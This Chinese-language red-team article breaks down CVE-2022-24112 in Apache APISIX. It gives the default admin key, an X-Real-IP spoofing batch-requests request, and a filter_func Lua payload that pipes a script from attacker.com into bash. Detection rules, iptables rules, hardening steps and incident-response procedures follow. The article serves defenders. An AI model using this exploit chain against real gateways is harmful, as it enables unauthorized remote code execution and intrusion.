企业官网建设流程全解析

从红队视角拆解APISIX漏洞攻防：CVE-2022-24112实战对抗全记录

当凌晨三点的告警铃声突然响起，安全运营中心的工程师们面对的往往是一个已经完成横向移动的攻击者。CVE-2022-24112这个看似普通的API网关漏洞，在真实的红蓝对抗中可能成为突破内网防线的关键跳板。本文将还原一次真实的内部红队演练，展示攻击者如何利用默认配置弱点构建完整攻击链，同时为防御者提供可立即落地的检测方案。

1. 漏洞环境与攻击面分析

在模拟演练环境中，我们部署了存在漏洞的APISIX 2.10.3版本，其典型特征包括：

• 开放9080端口的API服务
• 使用默认admin key（edd1c9f034335f136f87ad84b625c8f1）
• 启用batch-requests插件
• 配置了宽松的IP访问策略（allow_admin: 0.0.0.0/0）

关键风险组合：

1. 未修改的默认凭证 → 身份认证突破点 2. batch-requests插件代码缺陷 → IP限制绕过 3. filter_func功能 → 代码执行入口

攻击面矩阵：

2. 攻击链拆解与实战复现

2.1 初始访问阶段

红队首先通过扫描发现暴露的APISIX管理接口（9080端口），使用经典的三步确认法：

1. 服务指纹识别：

   curl -I http://target:9080/apisix/admin/routes # 返回401 Unauthorized但暴露Server: APISIX/2.10.3

2. 默认凭证测试：

   headers = {'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1'} r = requests.get('http://target:9080/apisix/admin/routes', headers=headers)

3. 插件功能探测：

   // 确认batch-requests可用 POST /apisix/batch-requests {"pipeline":[{"path":"/status"}]}

防御检测点：监控/admin接口的401响应频率，单个IP在短时间内出现多次401后成功200的状态码切换是明显异常。

2.2 权限提升与绕过

攻击者利用batch-requests插件的IP检查缺陷构造特殊请求头：

POST /apisix/batch-requests HTTP/1.1 Host: target:9080 X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 Content-Type: application/json { "headers": { "X-Real-IP": "127.0.0.1", "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1" }, "pipeline": [ { "method": "PUT", "path": "/apisix/admin/routes/rce", "body": "<恶意路由配置>" } ] }

流量特征分析：

• 出现X-Real-IP与Client-IP不一致
• pipeline内包含路由修改操作
• Content-Type为application/json但实际传输Lua代码

2.3 命令执行与持久化

成功绕过限制后，红队通过filter_func注入恶意Lua代码：

"filter_func": "function(vars) os.execute('curl http://attacker.com/shell.sh|bash'); return true end"

典型攻击载荷包括：

• 反向Shell连接
• 内存马注入
• 凭证窃取脚本
• 内网扫描工具部署

日志审计关键字段：
grep 'filter_func' /usr/local/apisix/logs/access.log | grep -E 'os\.execute|io\.popen'

3. 防御体系构建方案

3.1 即时检测策略

日志监控规则示例（ELK/Splunk）：

1. 异常路由创建： event.path:"/apisix/admin/routes" AND request_method:"PUT" AND (user_agent:"curl/*" OR user_agent:"python-requests*") 2. 恶意Lua执行： message:"batch-requests" AND (message:"os.execute" OR message:"io.popen") 3. 默认密钥使用： http.headers.X-API-KEY:"edd1c9f034335f136f87ad84b625c8f1" AND response_code:200

3.2 网络层防护

建议的iptables规则：

# 限制Admin API访问IP iptables -A INPUT -p tcp --dport 9080 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 9080 -j DROP # 防止IP欺骗 iptables -A INPUT -m conntrack --ctstate INVALID -j DROP iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

3.3 配置加固清单

1. 必须修改项：

   • 更改默认admin key
   • 关闭不必要的插件（batch-requests）
   • 限制admin API访问IP

2. 推荐配置：

   # config.yaml关键配置 allow_admin: - 10.1.1.0/24 admin_key: - name: "custom_admin" key: "$(openssl rand -hex 16)" plugins: - ... # 显式列出所需插件

4. 事件响应实战手册

当检测到可疑活动时，建议按以下流程处置：

阶段一：快速遏制

1. 立即禁用受影响节点的管理接口
2. 冻结可疑API密钥
3. 捕获当前网络连接：ss -antp | grep 9080

阶段二：影响评估

# 检查异常路由 curl -H "X-API-KEY: <合法key>" http://localhost:9080/apisix/admin/routes # 检索恶意filter_func grep -r 'filter_func' /usr/local/apisix/conf/routes/

阶段三：根除恢复

1. 回滚到漏洞修复版本（≥2.12.1）
2. 轮换所有API密钥
3. 审计所有路由配置

在一次真实的客户环境中，我们通过分析batch-requests的访问日志，发现攻击者平均会在得手后23分钟内开始横向移动。这给防御者留下了极短的响应窗口，必须建立自动化检测机制才能有效应对。